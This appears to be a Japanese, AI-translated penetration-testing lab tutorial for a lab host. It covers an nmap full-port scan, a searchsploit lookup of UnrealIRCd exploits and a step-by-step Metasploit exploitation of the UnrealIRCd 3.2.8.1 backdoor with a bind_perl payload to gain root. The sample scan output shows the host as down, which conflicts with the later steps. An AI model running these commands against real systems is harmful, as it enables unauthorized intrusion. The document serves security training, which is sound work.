はじめに
ネットワークスキャニングは非常に実践的な分野です。ネットワークスキャニングを通じて、ユーザーは対象ホスト上のさまざまなサービスに割り当てられたポート、オープンなサービス、サービスソフトウェアとそのバージョン、その他の情報を見つけることができます。
この実験では、対象ホストのネットワークサービスのセキュリティ脆弱性をスキャンする方法を学びます。
💡 このチュートリアルは英語版からAIによって翻訳されています。原文を確認するには、 ここをクリックしてください
ネットワークスキャニングは非常に実践的な分野です。ネットワークスキャニングを通じて、ユーザーは対象ホスト上のさまざまなサービスに割り当てられたポート、オープンなサービス、サービスソフトウェアとそのバージョン、その他の情報を見つけることができます。
この実験では、対象ホストのネットワークサービスのセキュリティ脆弱性をスキャンする方法を学びます。
ネットワークスキャニングの基本的なワークフローは以下の通りです。
Nmap(Network Mapper)は強力なネットワークスキャンツールです。UDP、TCP connect()、TCP SYN(半オープンスキャン)、FTP プロキシ(バウンス攻撃)、リバースフラグ、ICMP、FIN、ACK スキャン、SYN スキャン、ヌルスキャンなど、様々なスキャン技術をサポートしています。
このステップでは、Nmap を使って対象ホストのオープンポートをスキャンします。
docker run -ti --network host b5b709a49cd5 bash
nmap
コマンドを使って対象ホスト 192.168.122.102 をスキャンします。nmap -p 1-65535 -T4 -A -v 192.168.122.102 > /tmp/report.txt
このコマンドは、対象ホストの 1 から 65535 までのすべてのポートをスキャンし、タイミングポリシーを 4(高速)に設定し、OS フィンガープリントとバージョン検出を有効にし、出力を /tmp/report.txt
に保存します。
対象ホストをスキャンした後、潜在的な脆弱性を特定するためにスキャン結果を分析する必要があります。
cat /tmp/report.txt
このコマンドは、/tmp/report.txt
ファイルの内容を表示します。このファイルには、対象ホストのオープンポート、サービス、およびバージョンに関する情報が含まれています。以下は、表示される出力の例です:
Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-23 15:28 UTC
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 15:28
Completed NSE at 15:28, 0.00s elapsed
Initiating NSE at 15:28
Completed NSE at 15:28, 0.00s elapsed
Initiating NSE at 15:28
Completed NSE at 15:28, 0.00s elapsed
Initiating ARP Ping Scan at 15:28
Scanning 192.168.122.102 [1 port]
Completed ARP Ping Scan at 15:28, 1.42s elapsed (1 total hosts)
Nmap scan report for 192.168.122.102 [host down]
NSE: Script Post-scanning.
Initiating NSE at 15:28
Completed NSE at 15:28, 0.00s elapsed
Initiating NSE at 15:28
Completed NSE at 15:28, 0.00s elapsed
Initiating NSE at 15:28
Completed NSE at 15:28, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 1.98 seconds
Raw packets sent: 2 (56B) | Rcvd: 0 (0B)
searchsploit
ツールを使って脆弱性情報を検索する:searchsploit unreal ircd
このコマンドは、Exploit Database を検索して、「unreal ircd」サービスに関連する脆弱性情報を探します。以下は、表示される出力の例です:
---------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------------------------------------------------- ---------------------------------
UnrealIRCd 3.2.8.1 - Backdoor Command Execution (Metasploit) | linux/remote/16922.rb
UnrealIRCd 3.2.8.1 - Local Configuration Stack Overflow | windows/dos/18011.txt
UnrealIRCd 3.2.8.1 - Remote Downloader/Execute | linux/remote/13853.pl
UnrealIRCd 3.x - Remote Denial of Service | windows/dos/27407.pl
---------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
cat /usr/share/exploitdb/exploits/linux/remote/16922.rb
このコマンドは、/usr/share/exploitdb/exploits/linux/remote/16922.rb
にある脆弱性利用ファイルの内容を表示します。
スキャン結果を分析し、潜在的な脆弱性を特定した後、浸透攻撃のために脆弱性を悪用しようとすることができます。
スキャン結果から悪用可能な脆弱性を特定します。たとえば、スキャンで脆弱なサービスがあるオープンポート 6667 が見つかったとしましょう。
Metasploit Framework を起動します。
cd ~
msfconsole
use exploit/unix/irc/unreal_ircd_3281_backdoor
set RHOST 192.168.122.102
set PAYLOAD cmd/unix/bind_perl
exploit
悪用が成功すると、対象ホストにアクセスできるようになります。
whoami
hostname
出力が root
ユーザーとしてログインしており、ホスト名が対象ホストと一致している場合、悪用は成功しています。
Metasploit コンソールを終了するには Ctrl+D を押してから検査を開始します
この実験では、対象ホストの探索、ポートスキャン、フィンガープリント情報のスキャン、脆弱性スキャン、および浸透攻撃の実行を含む、ネットワークスキャニングの基本的なワークフローを学びました。強力な Nmap ツールを使って対象ホストのオープンポートをスキャンし、スキャン結果を分析して潜在的な脆弱性を特定しました。また、searchsploit
ツールを使って脆弱性情報を検索する方法と、Metasploit Framework を使って脆弱性を悪用する方法を学びました。最後に、対象ホスト上の現在のユーザーとホスト名を確認することで、悪用の成功を確認しました。
この実践的な実験を通じて、ネットワークサービスのセキュリティ脆弱性をスキャンし、浸透攻撃を行う実際の経験を得ました。この知識は、ネットワークシステムのセキュリティを確保し、潜在的なリスクを特定するために不可欠です。